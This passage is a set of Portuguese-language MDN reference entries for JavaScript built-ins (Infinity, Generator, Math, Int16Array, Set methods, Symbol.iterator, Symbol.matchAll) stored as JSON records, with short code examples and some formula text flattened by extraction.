`WeakMap`"}
{"title":"Infinity - JavaScript","text":"Infinity\n========\n\nSumário\n-------\n\nA propriedade global **`Infinity`** é um valor numérico que representa infinito.\n\n| Property attributes of `Infinity` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nSintaxe\n-------\n```\n\nInfinity\n```\n\nDescrição\n---------\n\n`Infinity` é uma propriedade do *objeto global*, ou seja, é uma varíavel no escopo global.\n\nO valor inicial de `Infinity` é `Number.POSITIVE_INFINITY`. O valor `Infinity` (positivo) é maior do que qualquer outro número. Este valor se comporta matematicamente como infinito; por exemplo, qualquer número positivo multiplicado por `Infinity` é `Infinity`, e qualquer coisa dividida por `Infinity` é 0.\n\nPela especificação ECMAScript 5, `Infinity` é somente leitura (implementado no JavaScript 1.8.5 / Firefox 4).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-value-properties-of-the-global-object-infinity |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.NEGATIVE_INFINITY`\n* `Number.POSITIVE_INFINITY`"}
{"title":"Generator - JavaScript","text":"Generator\n=========\n\nO objeto **`Generator`** é retornado por generator function e conforme iterable protocol e o iterator protocol.\n\nSíntaxe\n-------\n```\n\nfunction* gen() {\n  yield 1;\n  yield 2;\n  yield 3;\n}\n\nvar g = gen(); // \"Generator { }\"\n```\n\nMétodos\n-------\n\n`Generator.prototype.next()` (en-US)\n\nRetorna o valor fornecido pela expressão `yield`.\n\n`Generator.prototype.return()` (en-US)\n\nRetorna o valor fornecido a finaliza o generator.\n\n`Generator.prototype.throw()` (en-US)\n\nLança um erro no generator.\n\nExample\n-------\n\n### An infinite iterator\n\n\n```js\nfunction\\* idMaker() {\n  var index = 0;\n  while (true) yield index++;\n}\n\nvar gen = idMaker(); // \"Generator { }\"\n\nconsole.log(gen.next().value); // 0\nconsole.log(gen.next().value); // 1\nconsole.log(gen.next().value); // 2\n// ...\n```\n\nObjeto legacy generator\n-----------------------\n\nFirefox (SpiderMonkey) também implementa a versão anterior do generator em JavaScript 1.7, onde o asterisco (\\*) na declaração da função não era necessário (somente era necessário usar a palavra reservada `yield` no corpo da função). Contudo, legacy generators estão obsoletos. Não os use, eles serão removidos (Erro do Firefox 1083482).\n\n### Métodos legacy generator\n\n`Generator.prototype.next()` \nNon-standard\n\nRetorna o valor fornecido pela expressão `yield`. Isto corresponde ao `next()` do ES6.\n\n`Generator.prototype.close()` \nNon-standard\n\nFecha o generator, então quando chamar `next()` um erro `StopIteration` será lançado. Isto corresponde ao método `return()` do ES6.\n\n`Generator.prototype.send()` \nNon-standard\n\nUsado para enviar um valor para o generator. Este valor é retordo pela expressão `yield`, e retorna o valor fornecido pelo pelo next `yield`. `send(x)` corresponde ao `next(x)` do ES6.\n\n`Generator.prototype.throw()` \nNon-standard\n\nLança um erro no generator. Isto corresponde ao método `throw() do ES6.`\n\n### Exemplo do Legacy generator\n\n\n```js\nfunction\\* fibonacci() {\n  var a = yield 1;\n  yield a \\* 2;\n}\n\nvar it = fibonacci();\nconsole.log(it); // \"Generator { }\"\nconsole.log(it.next()); // 1\nconsole.log(it.send(10)); // 20\nconsole.log(it.close()); // undefined\nconsole.log(it.next()); // throws StopIteration (Como o generator está fechado)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-generator-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n### Legacy generators\n\n* The legacy generator function (en-US)\n* The legacy generator function expression (en-US)\n* `StopIteration`\n* The legacy Iterator protocol (en-US)\n### ES6 generators\n\n* Functions\n* `function`\n* `function expression`\n* `Function`\n* `function*`\n* `function* expression`\n* `GeneratorFunction` (en-US)\n* The Iterator protocol (en-US)"}
{"title":"Math - JavaScript","text":"Math\n====\n\n**Math** é um objeto embutido que tem propriedades e métodos para constantes e funções matemáticas. Não é um objeto de função.\n\nDescrição\n---------\n\nAo contrário de outros objetos globais, `Math` não é um construtor. Todas as propriedades e métodos de `Math` são estáticos. Você pode referenciar a constante PI como `Math.PI` e você pode chamar a função de seno como `Math.sin(x)`, onde `x` é o argumento do método. Constantes são definidas com a precisão total de números reais em JavaScript.\n\nPropriedades\n------------\n\n`Math.E`\n\nConstante de Euler e base dos logaritmos naturais, aproximadamente 2.718.\n\n`Math.LN2`\n\nLogaritmo natural de 2, aproximadamente 0.693.\n\n`Math.LN10`\n\nLogaritmo natural de 10, aproximadamente 2.303.\n\n`Math.LOG2E`\n\nLogaritmo de E na base 2, aproximadamente 1.443.\n\n`Math.LOG10E`\n\nLogaritmo de E na base 10, aproximadamente 0.434.\n\n`Math.PI`\n\nRelação entre a circunferência de um círculo e o seu diâmetro, aproximadamente 3.14159.\n\n`Math.SQRT1_2`\n\nRaiz quadrada de 1/2; Equivale a 1 dividido pela raiz quadrada de 2, aproximadamente 0.707.\n\n`Math.SQRT2`\n\nRaiz quadrada de 2, aproximadamente 1.414.\n\nMétodos\n-------\n\n**Nota:** Note que as funções trigonométricas (sin(), cos(), tan(), asin(), acos(), atan(), atan2()) recebem ou retornam ângulos em radianos. Divida por (`Math.PI/180`) para converter radianos em graus, ou multiplique por esse valor para fazer a conversão inversa.\n\n`Math.abs(x)`\n\nRetorna o módulo, ou valor absoluto, de um número (\n\n\n\n|\nx\n|\n\n|x|\n\n\n).\n\n`Math.acos(x)`\n\nRetorna o arco-coseno de um número (\n\n\n\narccos\nx\n\n\\arccos{x}\n\n\n).\n\n`Math.acosh(x)` \nExperimental\n\nRetorna o arco-coseno hiperbólico de um número.\n\n`Math.asin(x)`\n\nRetorna o arco-seno de um número (\n\n\n\narcsin\nx\n\n\\arcsin{x}\n\n\n).\n\n`Math.asinh(x)` \nExperimental\n\nRetorna o arco-seno hiperbólico de um número.\n\n`Math.atan(x)`\n\nRetorna o arco-tangente de um número (\n\n\n\narctan\nx\n\n\\arctan{x}\n\n\n).\n\n`Math.atanh(x)` \nExperimental\n\nRetorna o arco-tangente hiperbólico de um número (\n\n\n\narctan\nx\n\n\\arctan{x}\n\n\n).\n\n`Math.atan2(x, y)`\n\nRetorna o arco-tangente do quociente de seus argumentos.\n\n`Math.cbrt(x)` \nExperimental\n\nRetorna a raiz cúbica de um número (\n\n\n\nx\n3\n\n\\root{3}{x}\n\n\n).\n\n`Math.ceil(x)`\n\nRetorna o menor inteiro que é maior ou igual a um número.\n\n`Math.cos(x)`\n\nRetorna o coseno de um número (\n\n\n\ncos\nx\n\n\\cos{x}\n\n\n).\n\n`Math.cosh(x)` \nExperimental\n\nRetorna o coseno hiperbólico de um número .\n\n`Math.exp(x)`\n\nRetorna\n\n\n\ne\nx\n\ne^x\n\n\n, onde *x* é o argumento, e\n\n\ne\ne\n\n\né a constante de Euler (2.718...), a base do logaritmo natural.\n\n`Math.expm1(x)` \nExperimental\n\nRetorna\n\n\ne\nx\n\n-\n1\n\ne^x-1\n\n\n.\n\n`Math.floor(x)`\n\nRetorna o maior inteiro que é menor ou igual a um número.\n\n`Math.fround(x)` (en-US) \nExperimental\n\nRetorna a mais próxima representação de ponto flutuante de precisão-única de um número.\n\n`Math.hypot([x[,y[,…]]])` \nExperimental\n\nRetorna a raiz quadrada da soma dos quadrados dos argumentos (\n\n\n\nx\n2\n\n+\n\ny\n2\n\n+\n…\n\n\\sqrt{x^2 + y^2 + \\dots}\n\n\n).\n\n`Math.imul(x)` (en-US) \nExperimental\n\nRetorna o resultado de uma multiplicação de inteiro de 32-bit.\n\n`Math.log(x)`\n\nRetorna o logaritmo natural (\n\n\nlog\ne\n\nx\n\n\\log\\_ex\n\n\nou\n\n\n\nln\nx\n\n\\ln{x}\n\n\n) de um número.\n\n`Math.log1p(x)` \nExperimental\n\nRetorna o logaritmo natural de 1 + x (\n\n\nlog\ne\n\n(\n1\n+\nx\n)\n\n\\log\\_e(1+x)\n\n\nou\n\n\n\nln\n(\n1\n+\nx\n)\n\n\\ln(1+x)\n\n\n) de um número.\n\n`Math.log10(x)` \nExperimental\n\nRetorna o logaritmo de x na base 10 (\n\n\nlog\n10\n\nx\n\n\\log\\_{10}x\n\n\n).\n\n`Math.log2(x)` \nExperimental\n\nRetorna o logaritmo de x na base 2 (\n\n\nlog\n2\n\nx\n\n\\log\\_2 x\n\n\n).\n\n`Math.max([x[,y[,…]]])`\n\nRetorna o maior dentre os parâmetros recebidos.\n\n`Math.min([x[,y[,…]]])`\n\nRetorna o menor dentre os parâmetros recebidos.\n\n`Math.pow(x,y)`\n\nRetorna a base `x` elevada à potência `y` do expoente, ou seja,\n\n\n\nx\ny\n\nx^y\n\n\n.\n\n`Math.random()`\n\nRetorna um número pseudo-aleatório entre 0 e 1.\n\n`Math.round(x)`\n\nRetorna o valor arrendodado de `x`, para o valor inteiro mais próximo.\n\n`Math.sign(x)` \nExperimental\n\nRetorna o sinal de `x`, indicando se é positivo, negativo ou zero.\n\n`Math.sin(x)`\n\nRetorna o seno de um número (\n\n\n\nsin\nx\n\n\\sin x\n\n\n).\n\n`Math.sinh(x)` \nExperimental\n\nRetorna o seno hiperbólico de um número (\n\n\n\nsinh\nx\n\n\\sinh x\n\n\n).\n\n`Math.sqrt(x)`\n\nRetorna a raiz quadrada positiva de um número (\n\n\n\nx\n\n\\sqrt x\n\n\n).\n\n`Math.tan(x)`\n\nRetorna a tangente de um número (\n\n\n\ntan\nx\n\n\\tan x\n\n\n).\n\n`Math.tanh(x)` \nExperimental\n\nRetorna a tangente hiperbólica de um número (\n\n\n\ntanh\nx\n\n\\tanh x\n\n\n).\n\n`Math.toSource()` \nNon-standard\n\nRetorna a string `\"Math\"`.\n\n`Math.trunc(x)` \nExperimental\n\nRetorna a parte inteira de `x`, removendo quaisquer dígitos fracionários.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math-object |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number`"}
{"title":"Int16Array - JavaScript","text":"Int16Array\n==========\n\nA matriz do tipo **`Int16Array`** representa uma matriz de inteiros assinados de 16 bits com dois complementos na ordem de bytes da plataforma. Se o controle sobre a ordem de bytes for necessário, use `DataView`. O conteúdo é inicializado em 0. Uma vez estabelecido, você pode fazer referência a elementos na matriz usando os métodos do objeto ou usando a sintaxe de índice da matriz padrão (ou seja, usando a notação de colchetes).\n\nSintaxe\n-------\n```\n\nnew Int16Array(); // novo no ES2017\nnew Int16Array(length);\nnew Int16Array(typedArray);\nnew Int16Array(object);\nnew Int16Array(buffer [, byteOffset [, length]]);\n```\n\n\nPara obter mais informações sobre a sintaxe do construtor e os parâmetros, consulte *TypedArray (en-US)*.\n\nPropriedades\n------------\n\n`Int16Array.BYTES_PER_ELEMENT` (en-US)\n\nRetorna um valor numérico do tamanho do elemento. `2` no caso de um `Int16Array`.\n\nInt16Array.length\n\nPropriedade de comprimento estático cujo valor é 0. Para o comprimento real (número de elementos), consulte `Int16Array.prototype.length` (en-US).\n\n`Int16Array.name` (en-US)\n\nRetorna o valor da string do nome do construtor. No caso do tipo `Int16Array`: \"Int16Array\".\n\n`Int16Array.prototype` (en-US)\n\nProtótipo para os objetos TypedArray.\n\nMétodos\n-------\n\n`Int16Array.from()` (en-US)\n\nCria um novo `Int16Array` de um objeto semelhante a uma matriz ou iterável. Veja também `Array.from()`.\n\n`Int16Array.of()` (en-US)\n\nCria um novo `Int16Array` com um número variável de argumentos. Veja também `Array.of()`.\n\n`Int16Array` prototype\n----------------------\n\nTodos `Int16Array` objetos herdam de `%TypedArray%.prototype` (en-US).\n\n### Propriedades\n\n`Int16Array.prototype.constructor`\n\nRetorna a função que criou o protótipo de uma instância. Este é o construtor `Int16Array` por padrão.\n\n`Int16Array.prototype.buffer` (en-US) Somente leitura \n\nRetorna o `ArrayBuffer` referenciado pelo `Int16Array` Fixado em tempo de construção e **apenas leitura**.\n\n`Int16Array.prototype.byteLength` (en-US) Somente leitura \n\nRetorna o tamanho (em bytes) de um `Int16Array` desde o ínicio `ArrayBuffer`. Fixado em tempo de construção e **apenas leitura**.\n\n`Int16Array.prototype.byteOffset` (en-US) Somente leitura \n\nRetorna o deslocamento (em bytes) de um `Int16Array` desde o ínicio `ArrayBuffer`. Fixado em tempo de construção e **apenas leitura**.\n\n`Int16Array.prototype.length` (en-US) Somente leitura \n\nRetorna o número de elementos em um `Int16Array`. Fixado em tempo de construção e **apenas leitura**.\n\n### Métodos\n\n`Int16Array.prototype.copyWithin()` (en-US)\n\nCopia uma sequência de elementos da matriz dentro da matriz. Veja também `Array.prototype.copyWithin()`.\n\n`Int16Array.prototype.entries()` (en-US)\n\nRetorna um novo `Array Iterator` objeto que contém os pares de chave / valor para cada índice na matriz. Veja também `Array.prototype.entries()`.\n\n`Int16Array.prototype.every()` (en-US)\n\nTesta se todos os elementos na matriz passam no teste fornecido por uma função. Veja também `Array.prototype.every()`.\n\n`Int16Array.prototype.fill()` (en-US)\n\nPreenche todos os elementos de uma matriz de um índice inicial para um índice final com um valor estático. Veja também `Array.prototype.fill()`.\n\n`Int16Array.prototype.filter()` (en-US)\n\nCria uma nova matriz com todos os elementos dessa matriz para os quais a função de filtragem fornecida retorna true. Veja também `Array.prototype.filter()`.\n\n`Int16Array.prototype.find()` (en-US)\n\nRetorna o valor encontrado na matriz, se um elemento na matriz satisfizer a função de teste fornecida ou `undefined` se não encontrado. Veja também `Array.prototype.find()`.\n\n`Int16Array.prototype.findIndex()` (en-US)\n\nRetorna o índice encontrado na matriz, se um elemento na matriz satisfizer a função de teste fornecida ou -1, se não for encontrado. Veja também `Array.prototype.findIndex()`.\n\n`Int16Array.prototype.forEach()` (en-US)\n\nChama uma função para cada elemento na matriz. Veja também `Array.prototype.forEach()`.\n\n`Int16Array.prototype.includes()` (en-US) \nExperimental\n\nDetermina se uma matriz tipificada inclui um determinado elemento, retornando `true` ou `false`. Veja também `Array.prototype.includes()`.\n\n`Int16Array.prototype.indexOf()` (en-US)\n\nRetorna o primeiro (menos) índice de um elemento dentro da matriz igual ao valor especificado ou -1 se nenhum for encontrado. Veja também `Array.prototype.indexOf()`.\n\n`Int16Array.prototype.join()` (en-US)\n\nJunta todos os elementos de um array em uma string. Veja também `Array.prototype.join()`.\n\n`Int16Array.prototype.keys()` (en-US)\n\nRetorna um novo `Array Iterator` que contém uma chave para cada índice no array. Veja também `Array.prototype.keys()`.\n\n`Int16Array.prototype.lastIndexOf()` (en-US)\n\nRetorna o último (maior) índice de um elemento dentro da matriz igual ao valor especificado ou -1 se nenhum for encontrado. Veja também `Array.prototype.lastIndexOf()`.\n\n`Int16Array.prototype.map()` (en-US)\n\nCria uma nova matriz com os resultados da chamada de uma função fornecida em todos os elementos dessa matriz. Veja também `Array.prototype.map()`.\n\n`Int16Array.prototype.move()` \nNon-standard\n Unimplemented\n\nVersão não-padrão anterior de `Int16Array.prototype.copyWithin()` (en-US).\n\n`Int16Array.prototype.reduce()` (en-US)\n\nAplique uma função contra um acumulador e cada valor da matriz (da esquerda para a direita) para reduzi-lo a um único valor. Veja também `Array.prototype.reduce()`.\n\n`Int16Array.prototype.reduceRight()` (en-US)\n\nAplique uma função contra um acumulador e cada valor da matriz (da direita para a esquerda) para reduzi-lo a um único valor. Veja também `Array.prototype.reduceRight()`.\n\n`Int16Array.prototype.reverse()` (en-US)\n\nInverte a ordem dos elementos de um array - o primeiro torna-se o último e o último torna-se o primeiro. Veja também `Array.prototype.reverse()`.\n\n`Int16Array.prototype.set()` (en-US)\n\nArmazena vários valores na matriz tipada, lendo valores de entrada de uma matriz especificada.\n\n`Int16Array.prototype.slice()` (en-US)\n\nExtrai uma seção de uma matriz e retorna uma nova matriz. Veja também `Array.prototype.slice()`.\n\n`Int16Array.prototype.some()` (en-US)\n\nRetorna true se pelo menos um elemento nessa matriz satisfizer a função de teste fornecida. Veja também `Array.prototype.some()`.\n\n`Int16Array.prototype.sort()`\n\nClassifica os elementos de uma matriz e retorna a matriz. Veja também `Array.prototype.sort()`.\n\n`Int16Array.prototype.subarray()` (en-US)\n\nRetorna um novo `Int16Array` a partir do índice de elemento inicial e final fornecido.\n\n`Int16Array.prototype.values()` (en-US)\n\nRetorna um novo objeto `Array Iterator` que contém os valores para cada índice na matriz. Veja também `Array.prototype.values()`.\n\n`Int16Array.prototype.toLocaleString()` (en-US)\n\nRetorna uma string localizada representando a matriz e seus elementos. Veja também `Array.prototype.toLocaleString()`.\n\n`Int16Array.prototype.toString()` (en-US)\n\nRetorna uma string representando a matriz e seus elementos. Veja também `Array.prototype.toString()`.\n\n`Int16Array.prototype[@@iterator]()` (en-US)\n\nRetorna um novo objeto `Array Iterator` que contém os valores para cada índice na lista.\n\nExemplos\n--------\n\nDiferentes opções de criar um `Int16Array`:\n\n\n```js\n// De um tamanho\nvar int16 = new Int16Array(2);\nint16[0] = 42;\nconsole.log(int16[0]); // 42\nconsole.log(int16.length); // 2\nconsole.log(int16.BYTES\\_PER\\_ELEMENT); // 2\n\n// De uma array\nvar arr = new Int16Array([21, 31]);\nconsole.log(arr[1]); // 31\n\n// De um outro TypedArray\nvar x = new Int16Array([21, 31]);\nvar y = new Int16Array(x);\nconsole.log(y[0]); // 21\n\n// De um ArrayBuffer\nvar buffer = new ArrayBuffer(8);\nvar z = new Int16Array(buffer, 0, 4);\n\n// De um interável\nvar iterable = (function\\* () {\n  yield\\* [1, 2, 3];\n})();\nvar int16 = new Int16Array(iterable);\n// Int16Array[1, 2, 3]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # table-49 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas de compatibilidade\n------------------------\n\nA partir do ECMAScript 2015, os construtores `Int16Array` precisam ser construídos com um operador `new`. Chamar um construtor `Int16Array` como uma função sem o `new`, irá resultar em `TypeError`.\n\n\n```js\nvar dv = Int16Array([1, 2, 3]);\n// TypeError: calling a builtin Int16Array constructor\n// without new is forbidden\n```\n\n\n\n```js\nvar dv = new Int16Array([1, 2, 3]);\n```\n\nVer também\n----------\n\n* JavaScript typed arrays\n* `ArrayBuffer`\n* `DataView`"}
{"title":"Set.prototype.clear() - JavaScript","text":"Set.prototype.clear()\n=====================\n\nO método **`clear()`** remove todos os elementos de um objeto `Set`.\n\nSintaxe\n-------\n```\n\nmySet.clear();\n```\n\nExemplos\n--------\n\n### Usando o método `clear`\n\n\n```js\nvar mySet = new Set();\nmySet.add(1);\nmySet.add(\"foo\");\n\nmySet.size; // 2\nmySet.has(\"foo\"); // true\n\nmySet.clear();\n\nmySet.size; // 0\nmySet.has(\"bar\"); // false\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-set.prototype.clear |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Set`\n* `Set.prototype.delete()`"}
{"title":"Set.prototype.entries() - JavaScript","text":"Set.prototype.entries()\n=======================\n\nO método **`entries()`** retorna um novo objeto Iterador (`Iterator`) que contém **um array de [valor, valor]** para cada elemento de um objeto `Set`em ordem de inserção. Os objetos `Set` não possuem `chaves (key)` como objetos do tipo `Map`. Entretanto, para manter a API similar a objetos `Map`, cada entrada (*entry*) tem o mesmo valor para sua chave (`key`) e valor (`value`), então uma matriz `array [valor, valor]` é retornado.\n\nSintaxe\n-------\n```\n\nmySet.entries()\n```\n\nExemplos\n--------\n\n### Usando `entries()`\n\n\n```js\nvar mySet = new Set();\nmySet.add(\"foobar\");\nmySet.add(1);\nmySet.add(\"baz\");\n\nvar setIter = mySet.entries();\n\nconsole.log(setIter.next().value); // [\"foobar\", \"foobar\"]\nconsole.log(setIter.next().value); // [1, 1]\nconsole.log(setIter.next().value); // [\"baz\", \"baz\"]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-set.prototype.entries |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Set.prototype.keys()` (en-US)\n* `Set.prototype.values()`"}
{"title":"Set.prototype.has() - JavaScript","text":"Set.prototype.has()\n===================\n\nO método **`has()`** retorna um valor booleano indicando se um elemento com o valor especificado existe em um objecto `Set` ou não.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nmySet.has(valor);\n```\n\n### Parâmetros\n\n`valor`\n\nO valor para testar a existência no objeto `Set`.\n\n### Valor de retorno\n\nRetorna `true` se um elemento com o valor especificado existe no objeto `Set`; `false` caso contrário.\n\n> \n> \\*\\*Nota:\\*\\*Tecnicamente falando, `has()` usa o algorítimo `sameValueZero` para determinar quando o elemento dado é encontrado.\n> \n> \n> \n\nExemplos\n--------\n\n### Usando o método `has`\n\n\n```js\nvar mySet = new Set();\nmySet.add(\"foo\");\n\nmySet.has(\"foo\"); // retorna true\nmySet.has(\"bar\"); // retorna false\n\nvar set1 = new Set();\nvar obj1 = { key1: 1 };\nset1.add(obj1);\n\nset1.has(obj1); // retorna true\nset1.has({ key1: 1 }); // retorna false porque obj1 e {'key': 1} fazem referência a objetos diferentes.\nset1.add({ key1: 1 }); // agora set1 contém 2 registros\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-set.prototype.has |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Set`\n* `Set.prototype.add()`\n* `Set.prototype.delete()`"}
{"title":"Set.prototype.add() - JavaScript","text":"Set.prototype.add()\n===================\n\nO método **`add()`** acrescenta um novo elemento com o valor especificado no final de um objeto `Set`.\n\nSintaxe\n-------\n```\n\nmySet.add(value);\n```\n\n### Parâmetros\n\nvalue\n\nRequerido. O valor de um elemento a ser adicionado ao objeto Set.\n\n### Valor de retorno\n\nO objeto `Set`.\n\nExemplos\n--------\n\n### Usando o método `add`\n\n\n```js\nvar mySet = new Set();\n\nmySet.add(1);\nmySet.add(5).add(\"some text\"); // pode ser encadeado\n\nconsole.log(mySet);\n// Set [1, 5, \"some text\"]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-set.prototype.add |\n\nCompatilidade de Navegadores (Browser)\n--------------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas específicas para Firefox\n------------------------------\n\n* Antes do Firefox 33, `Set.prototype.add retornava` `undefined` e não era possível encadear chamadas. Isto foi resolvido (Erro do Firefox 1031632). O comportamento pode ser encontrado no Chrome/v8 (issue).\nVeja também\n-----------\n\n* `Set`\n* `Set.prototype.delete()`\n* `Set.prototype.has()`"}
{"title":"Set.prototype.values() - JavaScript","text":"Set.prototype.values()\n======================\n\nO método **`values()`** retorna um novo objeto `Iterator` que contem os valores para cada elemento dentro do objeto `Set` por ordem de inserção.\n\nO método **`keys()`** é um alias desse método (por similaridade com os objetos `Map`); ele se comporta exatamente da mesma forma e retorna os **valores** dos elementos do `Set`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nmySet.values();\n```\n\n### Valor retornado\n\nUm novo objeto **`Iterator`** condendo os valores de cada elemento contido no `Set`, por ordem de inserção.\n\nExemplos\n--------\n\n### Usando `values()`\n\n\n```js\nvar mySet = new Set();\nmySet.add(\"foo\");\nmySet.add(\"bar\");\nmySet.add(\"baz\");\n\nvar setIter = mySet.values();\n\nconsole.log(setIter.next().value); // \"foo\"\nconsole.log(setIter.next().value); // \"bar\"\nconsole.log(setIter.next().value); // \"baz\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-set.prototype.values |\n\nBrowsers compatíveis\n--------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Set.prototype.entries()`"}
{"title":"Set.prototype.delete() - JavaScript","text":"Set.prototype.delete()\n======================\n\nO método **`delete()`** remove o elemento especificado de um objeto `Set`.\n\nSintaxe\n-------\n```\n\nmySet.delete(value);\n```\n\n### Parâmetros\n\nvalue\n\nRequerido. O valor do elemento a ser removido do objeto Set.\n\n### Return value\n\nRetorna `true` se um elemento contido no objeto Set foi removido com sucesso; caso contrário `false`.\n\nExemples\n--------\n\n### Uso do método `delete`\n\n\n```js\nvar mySet = new Set();\nmySet.add(\"foo\");\n\nmySet.delete(\"bar\"); // Retorna false. Nenhum elemento \"bar\" foi encontrado para deletar.\nmySet.delete(\"foo\"); // Retorna true. remoção bem sucedida.\n\nmySet.has(\"foo\"); // Retorna false. O elemento \"foo\" não está mais presente.\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-set.prototype.delete |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Set`\n* `Set.prototype.clear()`"}
{"title":"Symbol.iterator - JavaScript","text":"Symbol.iterator\n===============\n\nO símbolo conhecido **`Symbol.iterator`** especifíca o iterador padrão para um objeto. Usado por `for...of`.\n\nExperimente\n-----------\n\nDescrição\n---------\n\nSempre que um objeto precisa ser iterado (como um começo de um `for..of` loop), o método `@@iterator` é chamado sem argumentos, e o **iterador** retornado é usado para obter os valores para serem iterados.\n\nAlguns tipos built-in tem um comportamento padrão de iteração, enquanto outros tipos (assim como `Object`) não tem. O tipo built-in com um método `@@iterator` são:\n\n* `Array.prototype[@@iterator]()`\n* `TypedArray.prototype[@@iterator]()` (en-US)\n* `String.prototype[@@iterator]()`\n* `Map.prototype[@@iterator]()`\n* `Set.prototype[@@iterator]()` (en-US)\n\nVeja também Iteration protocols para mais informação.\n\n| Property attributes of `Symbol.iterator` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Iteráveis definidos pelo usuário\n\nPodemos fazer nosso próprio iterável dessa forma:\n\n\n```js\nvar myIterable = {};\nmyIterable[Symbol.iterator] = function\\* () {\n  yield 1;\n  yield 2;\n  yield 3;\n};\n[...myIterable]; // [1, 2, 3]\n```\n\n\nOu iteráveis podem ser definidos diretamente dentro de uma classe ou um objeto usando computed property:\n\n\n```js\nclass Foo {\n  \\*[Symbol.iterator] () {\n    yield 1;\n    yield 2;\n    yield 3;\n  }\n}\n\nconst someObj = {\n  \\*[Symbol.iterator] () {\n    yield 'a';\n    yield 'b';\n  }\n}\n\n[...new Foo] // [ 1, 2, 3 ]\n[...someObj] // [ 'a', 'b' ]\n```\n\n### Iteráveis não bem formados\n\nSe um método `@@iterator` não retornar um objeto iterador, então é um iterável não bem formado. Usando dessa forma é resultará em uma excessão de tempo ou comportamentos com erros:\n\n\n```js\nvar nonWellFormedIterable = {}\nnonWellFormedIterable[Symbol.iterator] = () => 1\n[...nonWellFormedIterable] // TypeError: [] is not a function\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.iterator |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Iteration protocols\n* `Array.prototype[@@iterator]()`\n* `TypedArray.prototype[@@iterator]()` (en-US)\n* `String.prototype[@@iterator]()`\n* `Map.prototype[@@iterator]()`\n* `Set.prototype[@@iterator]()` (en-US)"}
{"title":"Symbol.matchAll - JavaScript","text":"Symbol.matchAll\n===============\n\nO símbolo **`Symbol.matchAll`** é conhecido por retornar um iterador, que produz conrrespondências de uma expressão regular com uma string. Essa função é usada pelo método `String.prototype.matchAll()`.\n\nExperimente\n-----------\n\nDescrição\n---------\n\nEsse símbolo é usado pelo `String.prototype.matchAll()` e especificado no `RegExp.prototype[@@matchAll]()` (en-US). Os próximos dois exemplos retornam o mesmo resultado:\n\n\n```js\n\"abc\".matchAll(/a/);\n\n/a/[Symbol.matchAll](\"abc\");\n```\n\n\nEsse método existe para costumizar o comportamento conrrespondente com as subclasses `RegExp`.\n\n| Property attributes of `Symbol.matchAll` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Usuando Symbol.matchAll\n\n\n```js\nlet re = /[0-9]+/g;\nlet str = \"2016-01-02|2019-03-07\";\n\nconst numbers = {\n  \\*[Symbol.matchAll](str) {\n    for (const n of str.matchAll(/[0-9]+/g)) yield n[0];\n  },\n};\n\nconsole.log(Array.from(str.matchAll(numbers)));\n// Array [\"2016\", \"01\", \"02\", \"2019\", \"03\", \"07\"]\n```\n\n\nVeja `String.prototype.matchAll()` e `RegExp.prototype[@@matchAll]()` (en-US) para mais exemplos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.matchall |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.matchAll()`\n* `RegExp.prototype[@@matchAll]()` (en-US)"}
